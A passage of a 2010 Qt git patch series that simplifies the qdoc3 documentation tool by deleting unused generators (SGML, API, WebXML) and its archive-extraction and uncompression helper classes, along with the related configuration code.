- FunctionNode **funcPtr); - - static bool isWord(QChar ch); - static bool leftWordBoundary(const QString& str, int pos); - static bool rightWordBoundary(const QString& str, int pos); - - QMap nodeTypeMap; - QMap classesWithNoQuickDoc; - QList replaceBefores; - QStringList replaceAfters; - QSet classesWithNoQ; - Tree* cppTre; - Tree* qsTre; - QRegExp replaceRegExp; - CppToQsConverter cpp2qs; - - static int tabSize; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/sgmlgenerator.cpp b/tools/qdoc3/sgmlgenerator.cpp deleted file mode 100644 index 1858028..0000000 --- a/tools/qdoc3/sgmlgenerator.cpp +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - sgmlgenerator.cpp -*/ - -#include "sgmlgenerator.h" - -QT_BEGIN_NAMESPACE - -SgmlGenerator::SgmlGenerator() -{ -} - -SgmlGenerator::~SgmlGenerator() -{ -} - -QString SgmlGenerator::format() -{ - return "SGML"; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/sgmlgenerator.h b/tools/qdoc3/sgmlgenerator.h deleted file mode 100644 index ef1f07f..0000000 --- a/tools/qdoc3/sgmlgenerator.h +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - sgmlgenerator.h -*/ - -#ifndef SGMLGENERATOR_H -#define SGMLGENERATOR_H - -#include "bookgenerator.h" - -QT_BEGIN_NAMESPACE - -class SgmlGenerator : public BookGenerator -{ -public: - SgmlGenerator(); - ~SgmlGenerator(); - - virtual QString format(); - -protected: - // ### -}; - -QT_END_NAMESPACE - -#endif -- cgit v0.12 From 5d2eaa50cb1a95f370d7db7413c112e85c83c66d Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 19:01:29 +0100 Subject: Further simplifications to qdoc3. Removed the unused ApiGenerator class. Removed archive and uncompression support not used in Qt. Removed the unused WebXML generator used to dump documentation as XML for an ancient documentation Web project. --- tools/qdoc3/JAVATODO.txt | 28 - tools/qdoc3/TODO.txt | 9 - tools/qdoc3/apigenerator.cpp | 150 ----- tools/qdoc3/apigenerator.h | 65 -- tools/qdoc3/archiveextractor.cpp | 108 --- tools/qdoc3/archiveextractor.h | 78 --- tools/qdoc3/config.cpp | 72 +- tools/qdoc3/generator.cpp | 29 - tools/qdoc3/main.cpp | 24 - tools/qdoc3/polyarchiveextractor.cpp | 94 --- tools/qdoc3/polyarchiveextractor.h | 70 -- tools/qdoc3/polyuncompressor.cpp | 109 ---- tools/qdoc3/polyuncompressor.h | 71 -- tools/qdoc3/qdoc3.pro | 18 +- tools/qdoc3/uncompressor.cpp | 108 --- tools/qdoc3/uncompressor.h | 79 --- tools/qdoc3/webxmlgenerator.cpp | 1195 ---------------------------------- tools/qdoc3/webxmlgenerator.h | 127 ---- 18 files changed, 5 insertions(+), 2429 deletions(-) delete mode 100644 tools/qdoc3/JAVATODO.txt delete mode 100644 tools/qdoc3/apigenerator.cpp delete mode 100644 tools/qdoc3/apigenerator.h delete mode 100644 tools/qdoc3/archiveextractor.cpp delete mode 100644 tools/qdoc3/archiveextractor.h delete mode 100644 tools/qdoc3/polyarchiveextractor.cpp delete mode 100644 tools/qdoc3/polyarchiveextractor.h delete mode 100644 tools/qdoc3/polyuncompressor.cpp delete mode 100644 tools/qdoc3/polyuncompressor.h delete mode 100644 tools/qdoc3/uncompressor.cpp delete mode 100644 tools/qdoc3/uncompressor.h delete mode 100644 tools/qdoc3/webxmlgenerator.cpp delete mode 100644 tools/qdoc3/webxmlgenerator.h diff --git a/tools/qdoc3/JAVATODO.txt b/tools/qdoc3/JAVATODO.txt deleted file mode 100644 index 911b7a5..0000000 --- a/tools/qdoc3/JAVATODO.txt +++ /dev/null @@ -1,28 +0,0 @@ - * index page on "O" and downwards? - * flag types, e.g. QTextStream::NumberFlags - * example references qt.nokia.com/doc etc. - - * fix enum value table (e.g. QCoreApplication.Encoding.html) - * check reimplementation of interface functions (e.g. QWidget::widthMM()) - * handle '::' in doc, e.g. in QAbstractEventDispatcher's detailed desc - * make sure default constructor logic doesn't interfere with default params (e.g. QAbstractEventDispatcher ctors) - * document default constructor provided for Java (e.g.?) - * document "protected QAbstractEventDispatcher(QtObject.QPrivateConstructor p)" and the like - * memory-managed, type - - * replace QString with String, etc. - * nested classes - * enum_1 - - * fix stylesheet - * no link to class itself - * support \ifjava - * add // C++ - * support Java-only /*! ... */ comments - - * links to property names have to be fixed - * example: version 1 in QStyleOptionFrame - * example: foo -> isFoo() - - * lowercase, and remove final stop, in \brief texts for variables and properties - * omit "see alsos" that don't work instead of showing them as broken links diff --git a/tools/qdoc3/TODO.txt b/tools/qdoc3/TODO.txt index 6deeb06..9bf4a28 100644 --- a/tools/qdoc3/TODO.txt +++ b/tools/qdoc3/TODO.txt @@ -10,8 +10,6 @@ * Don't turn X11 and similar names into links. * Added automatic links from getters to setters and vice versa. * Support \module and show which module each class is from. - * Use bullet list for the list of all functions, now that - Assistant handles these gracefully. * Fix occasional crash caused by misuse of const_cast(). * Provide clearer error messages when resolves fail. @@ -55,12 +53,9 @@ MUST HAVES: * Provide a "List of all properties" page. * expand QObjectList -> QList - * make \macro work (?) * warning for unnamed parameters in property access functions * \center...\endcenter - * warning for undocumented enum values - LINKS: * explanation following nonstandard wording warning @@ -74,8 +69,6 @@ LINKS: * implement \sidebar - * implement qbook - * implement \legalesefile * show in which module each class is @@ -92,5 +85,3 @@ NICE FEATURES: OTHER: * make qdoc run faster * make sure \headerfile works even if specified after \relates - - * use qtstyle.css instead of inline style for each page diff --git a/tools/qdoc3/apigenerator.cpp b/tools/qdoc3/apigenerator.cpp deleted file mode 100644 index 41c89c7..0000000 --- a/tools/qdoc3/apigenerator.cpp +++ /dev/null @@ -1,150 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include - -#include "apigenerator.h" -#include "codemarker.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -static QString indentStr(int indent) -{ - QString str; - str.fill(QLatin1Char(' '), indent * 4); - return str; -} - -static bool lessThanName(Node *node1, Node *node2) -{ - return node1->name() < node2->name(); -} - -QString ApiGenerator::format() -{ - return QLatin1String("API"); -} - -void ApiGenerator::generateTree(const Tree *tree, CodeMarker *marker) -{ - QFile outFile(QLatin1String("api")); - outFile.open(QIODevice::WriteOnly); - - out.setDevice(&outFile); - generateNode(tree->root(), marker); - out.flush(); -} - -void ApiGenerator::generateNode(const Node *node, CodeMarker *marker, int indent) -{ - if (node->access() == Node::Private) - return; - - switch (node->type()) { - case Node::Namespace: - if (!node->name().isEmpty()) { - out << indentStr(indent) << "Namespace: " << node->name() << "\n"; - ++indent; - } - break; - case Node::Class: - { - const ClassNode *classe = static_cast(node); - out << indentStr(indent) << "Class: " << node->name(); - foreach (const RelatedClass &baseClass, classe->baseClasses()) { - if (baseClass.access == Node::Public) - out << " inherits " << baseClass.dataTypeWithTemplateArgs; - } - out << "\n"; - ++indent; - } - break; - case Node::Enum: - { - const EnumNode *enume = static_cast(node); - out << indentStr(indent) << "Enum: " << node->name() << "\n"; - ++indent; - - QStringList enumNames; - foreach (const EnumItem &item, enume->items()) - enumNames << item.name(); - qSort(enumNames); - - foreach (const QString &name, enumNames) - out << indentStr(indent) << "Enum value: " << name << "\n"; - } - break; - case Node::Typedef: - out << indentStr(indent) << "Typedef: " << node->name() << "\n"; - ++indent; - break; - case Node::Function: - { - out << indentStr(indent) << "Function: " - << plainCode(marker->markedUpSynopsis(node, 0, CodeMarker::Detailed)) << "\n"; - ++indent; - } - break; - case Node::Property: - { - const PropertyNode *property = static_cast(node); - out << indentStr(indent) << "Property: " << property->name() - << " type " << property->dataType() << "\n"; - ++indent; - } - break; - default: - ; - } - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast(node); - NodeList nodes = inner->childNodes(); - qSort(nodes.begin(), nodes.end(), lessThanName); - foreach (const Node *child, nodes) - generateNode(child, marker, indent); - } - - out.flush(); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/apigenerator.h b/tools/qdoc3/apigenerator.h deleted file mode 100644 index fefef5d..0000000 --- a/tools/qdoc3/apigenerator.h +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef APIGENERATOR_H -#define APIGENERATOR_H - -#include - -#include "generator.h" - -QT_BEGIN_NAMESPACE - -class ApiGenerator : public Generator -{ -public: - QString format(); - void generateTree(const Tree *tree, CodeMarker *marker); - -private: - void generateNode(const Node *node, CodeMarker *marker, int indent = 0); - - QTextStream out; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/archiveextractor.cpp b/tools/qdoc3/archiveextractor.cpp deleted file mode 100644 index 6d3d736..0000000 --- a/tools/qdoc3/archiveextractor.cpp +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - archiveextractor.cpp -*/ - -#include "archiveextractor.h" - -QT_BEGIN_NAMESPACE - -QList ArchiveExtractor::extractors; - -/*! - \class ArchiveExtractor - - \brief The ArchiveExtractor class is a base class for classes that - know how to unpack a certain kind of archive file. - - The archive extractor contains a list of the filename extensions - of the files that the archive extractor knows how to unpack. - - It maintains a static list of all the instances of ArchiveExtractor - that have been created. It also has a static function for searching - that list to find the archive extracter for a file with a certain - extension. - */ - -/*! - The constructor takes a list of filename extensions, which it - copies and saves internally. This archive extractor is prepended - to the static list. - */ -ArchiveExtractor::ArchiveExtractor( const QStringList& extensions ) - : fileExts( extensions ) -{ - extractors.prepend( this ); -} - -/*! - The destructor deletes all the filename extensions. - */ -ArchiveExtractor::~ArchiveExtractor() -{ - extractors.removeAll( this ); -} - -/*! - This function searches the static list of archive extractors - to find the first one that can handle \a fileName. If it finds - an acceptable extractor, it returns a pointer to it. Otherwise - it returns null. - */ -ArchiveExtractor* -ArchiveExtractor::extractorForFileName( const QString& fileName ) -{ - int dot = -1; - while ( (dot = fileName.indexOf(QLatin1Char('.'), dot + 1)) != -1 ) { - QString ext = fileName.mid( dot + 1 ); - QList::ConstIterator e = extractors.begin(); - while ( e != extractors.end() ) { - if ( (*e)->fileExtensions().contains(ext) ) - return *e; - ++e; - } - } - return 0; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/archiveextractor.h b/tools/qdoc3/archiveextractor.h deleted file mode 100644 index 678945a..0000000 --- a/tools/qdoc3/archiveextractor.h +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - archiveextractor.h -*/ - -#ifndef ARCHIVEEXTRACTOR_H -#define ARCHIVEEXTRACTOR_H - -#include - -#include "location.h" - -QT_BEGIN_NAMESPACE - -class ArchiveExtractor -{ -public: - ArchiveExtractor( const QStringList& extensions ); - virtual ~ArchiveExtractor(); - - virtual void extractArchive( const Location& location, - const QString& filePath, - const QString& outputDir ) = 0; - - static ArchiveExtractor *extractorForFileName( const QString& fileName ); - -protected: - const QStringList& fileExtensions() { return fileExts; } - -private: - QStringList fileExts; - - static QList extractors; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/config.cpp b/tools/qdoc3/config.cpp index 4d1c378..0146a26 100644 --- a/tools/qdoc3/config.cpp +++ b/tools/qdoc3/config.cpp @@ -49,9 +49,7 @@ #include #include -#include "archiveextractor.h" #include "config.h" -#include "uncompressor.h" #include QT_BEGIN_NAMESPACE @@ -150,7 +148,6 @@ QStringList MetaStack::getExpanded(const Location& location) } QT_STATIC_CONST_IMPL QString Config::dot = QLatin1String("."); -QMap Config::uncompressedFiles; QMap Config::extractedDirs; int Config::numInstances; @@ -178,30 +175,9 @@ Config::Config(const QString& programName) } /*! - The destructor deletes all the temporary files and - directories it built. */ Config::~Config() { - if (--numInstances == 0) { - QMap::ConstIterator f = uncompressedFiles.begin(); - while (f != uncompressedFiles.end()) { - QDir().remove(*f); - ++f; - } - uncompressedFiles.clear(); - - QMap::ConstIterator d = extractedDirs.begin(); - while (d != extractedDirs.end()) { - removeDirContents(*d); - QDir dir(*d); - QString name = dir.dirName(); - dir.cdUp(); - dir.rmdir(name); - ++d; - } - extractedDirs.clear(); - } } /*! @@ -456,62 +432,18 @@ QString Config::findFile(const Location& location, QStringList::ConstIterator c = components.begin(); for (;;) { bool isArchive = (c != components.end() - 1); - ArchiveExtractor *extractor = 0; QString userFriendly = *c; - if (isArchive) { - extractor = ArchiveExtractor::extractorForFileName(userFriendly); - } - - if (extractor == 0) { - Uncompressor *uncompressor = - Uncompressor::uncompressorForFileName(userFriendly); - if (uncompressor != 0) { - QString fileNameWithCorrectExtension = - uncompressor->uncompressedFilePath( - fileInfo.filePath()); - QString uncompressed = uncompressedFiles[fileInfo.filePath()]; - if (uncompressed.isEmpty()) { - uncompressed = - QTemporaryFile(fileInfo.filePath()).fileName(); - uncompressor->uncompressFile(location, - fileInfo.filePath(), - uncompressed); - uncompressedFiles[fileInfo.filePath()] = uncompressed; - } - fileInfo.setFile(uncompressed); - - if (isArchive) { - extractor = ArchiveExtractor::extractorForFileName( - fileNameWithCorrectExtension); - } - else { - userFriendly = fileNameWithCorrectExtension; - } - } - } userFriendlyFilePath += userFriendly; if (isArchive) { - if (extractor == 0) - location.fatal(tr("Unknown archive type '%1'") - .arg(userFriendlyFilePath)); QString extracted = extractedDirs[fileInfo.filePath()]; - if (extracted.isEmpty()) { - extracted = QTemporaryFile(fileInfo.filePath()).fileName(); - if (!QDir().mkdir(extracted)) - location.fatal(tr("Cannot create temporary directory '%1'") - .arg(extracted)); - extractor->extractArchive(location, fileInfo.filePath(), - extracted); - extractedDirs[fileInfo.filePath()] = extracted; - } ++c; fileInfo.setFile(QDir(extracted), *c); } - else { + else break; - } + userFriendlyFilePath += "?"; } return fileInfo.filePath(); diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index c0efd76..74e966a 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -674,35 +674,6 @@ void Generator::generateExampleFiles(const FakeNode *fake, CodeMarker *marker) generateFileList(fake, marker, Node::Image, QString("Images:")); } -#if 0 - QList::ConstIterator g = generators.begin(); - while (g != generators.end()) { - if (outputFormats.contains((*g)->format())) { - (*g)->initializeGenerator(config); - QStringList extraImages = - config.getStringList(CONFIG_EXTRAIMAGES+Config::dot+(*g)->format()); - QStringList::ConstIterator e = extraImages.begin(); - while (e != extraImages.end()) { - QString userFriendlyFilePath; - QString filePath = Config::findFile(config.lastLocation(), - imageFiles, - imageDirs, - *e, - imgFileExts[(*g)->format()], - userFriendlyFilePath); - if (!filePath.isEmpty()) - Config::copyFile(config.lastLocation(), - filePath, - userFriendlyFilePath, - (*g)->outputDir() + - "/images"); - ++e; - } - } - ++g; - } -#endif - QString Generator::indent(int level, const QString& markedCode) { if (level == 0) diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 7459e40..768c5eb 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -45,7 +45,6 @@ #include #include -#include "apigenerator.h" #include "codemarker.h" #include "codeparser.h" #include "config.h" @@ -54,9 +53,6 @@ #include "doc.h" #include "htmlgenerator.h" #include "plaincodemarker.h" -#include "polyarchiveextractor.h" -#include "polyuncompressor.h" -#include "webxmlgenerator.h" #include "ditaxmlgenerator.h" #include "tokenizer.h" #include "tree.h" @@ -369,24 +365,6 @@ int main(int argc, char **argv) #ifndef QT_BOOTSTRAPPED QCoreApplication app(argc, argv); #endif - QString cf = "qsauncompress \1 \2"; - PolyArchiveExtractor qsaExtractor(QStringList() << "qsa",cf); - cf = "tar -C \2 -xf \1"; - PolyArchiveExtractor tarExtractor(QStringList() << "tar",cf); - cf = "tar -C \2 -Zxf \1"; - PolyArchiveExtractor tazExtractor(QStringList() << "taz",cf); - cf = "tar -C \2 -jxf \1"; - PolyArchiveExtractor tbz2Extractor(QStringList() << "tbz" << "tbz2",cf); - cf = "tar -C \2 -zxf \1"; - PolyArchiveExtractor tgzExtractor(QStringList() << "tgz",cf); - cf = "unzip \1 -d \2"; - PolyArchiveExtractor zipExtractor(QStringList() << "zip",cf); - cf = "bunzip2 -c \1 > \2"; - PolyUncompressor bz2Uncompressor(QStringList() << "bz" << "bz2",cf); - cf = "gunzip -c \1 > \2"; - PolyUncompressor gzAndZUncompressor(QStringList() << "gz" << "z" << "Z",cf); - cf = "unzip -c \1 > \2"; - PolyUncompressor zipUncompressor(QStringList() << "zip",cf); /* Create code parsers for the languages to be parsed, @@ -401,9 +379,7 @@ int main(int argc, char **argv) PlainCodeMarker plainMarker; CppCodeMarker cppMarker; - ApiGenerator apiGenerator; HtmlGenerator htmlGenerator; - WebXMLGenerator webxmlGenerator; DitaXmlGenerator ditaxmlGenerator; QStringList qdocFiles; diff --git a/tools/qdoc3/polyarchiveextractor.cpp b/tools/qdoc3/polyarchiveextractor.cpp deleted file mode 100644 index b2574ab..0000000 --- a/tools/qdoc3/polyarchiveextractor.cpp +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - polyarchiveextractor.cpp -*/ - -#include "command.h" -#include "polyarchiveextractor.h" - -QT_BEGIN_NAMESPACE - -/*! - \class PolyArchiveExtractor - - \brief The PolyArchiveExtractor class is a class for unpacking - archive files. - - This subclass of ArchiveExtractor contains a parameterized - command for doing the archive extraction. - - It has an extractArchive() function you call to do the - actual archive extraction. - */ - -/*! - The constructor takes the list of filename \a extensions, - which it passes to the base class, and the \a commandFormat, - which it stores locally. The \a commandFormat is a command - template string. - */ -PolyArchiveExtractor::PolyArchiveExtractor( const QStringList& extensions, - const QString& commandFormat ) - : ArchiveExtractor( extensions ), cmd( commandFormat ) -{ -} - -/*! - The destructor doesn't have to do anything. - */ -PolyArchiveExtractor::~PolyArchiveExtractor() -{ -} - -/*! - Call this function to do the actual archive extraction. It calls - the executeCommand() function to do the work. That's all it does. - */ -void PolyArchiveExtractor::extractArchive( const Location& location, - const QString& filePath, - const QString& outputDir ) -{ - executeCommand( location, cmd, QStringList() << filePath << outputDir ); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/polyarchiveextractor.h b/tools/qdoc3/polyarchiveextractor.h deleted file mode 100644 index 7ed0f62..0000000 --- a/tools/qdoc3/polyarchiveextractor.h +++ /dev/null @@ -1,70 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - polyarchiveextractor.h -*/ - -#ifndef POLYARCHIVEEXTRACTOR_H -#define POLYARCHIVEEXTRACTOR_H - -#include "archiveextractor.h" - -QT_BEGIN_NAMESPACE - -class PolyArchiveExtractor : public ArchiveExtractor -{ - public: - PolyArchiveExtractor(const QStringList& extensions, - const QString& commandFormat); - ~PolyArchiveExtractor(); - - virtual void extractArchive(const Location& location, - const QString& filePath, - const QString& outputDir); - - private: - QString cmd; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/polyuncompressor.cpp b/tools/qdoc3/polyuncompressor.cpp deleted file mode 100644 index 97b5e0d..0000000 --- a/tools/qdoc3/polyuncompressor.cpp +++ /dev/null @@ -1,109 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "command.h" -#include "polyuncompressor.h" - -QT_BEGIN_NAMESPACE - -/*! - \class PolyUncompressor - - \brief The PolyUncompressor class is a class for uncompressing - compressed files. - - This subclass of Uncompressor contains a parameterized - command for doing the uncompression - - It has an uncompressFile() function you call to do the - actual uncompression. - */ - -/*! - The constructor takes the list of filename \a extensions, - which it passes to the base class, and the \a commandFormat, - which it stores locally. The \a commandFormat is a command - template string. - */ -PolyUncompressor::PolyUncompressor( const QStringList& extensions, - const QString& commandFormat ) - : Uncompressor( extensions ), cmd( commandFormat ) -{ -} - -/*! - The destructor doesn't have to do anything. - */ -PolyUncompressor::~PolyUncompressor() -{ -} - -/*! - From \a filePath, derive a file path for the uncompressed - file and return it. If it can't figure out what the file - path should be, it just concatenates ".out" to the - \a filePath and returns that. - */ -QString PolyUncompressor::uncompressedFilePath( const QString& filePath ) -{ - QStringList::ConstIterator e = fileExtensions().begin(); - while ( e != fileExtensions().end() ) { - QString dotExt = "." + *e; - if ( filePath.endsWith(dotExt) ) - return filePath.left( filePath.length() - dotExt.length() ); - ++e; - } - return filePath + ".out"; // doesn't really matter -} - -/*! - Call this function to do the actual uncompressing. It calls - the executeCommand() function to do the work. That's all it does. - */ -void PolyUncompressor::uncompressFile( const Location& location, - const QString& filePath, - const QString& outputFilePath ) -{ - executeCommand( 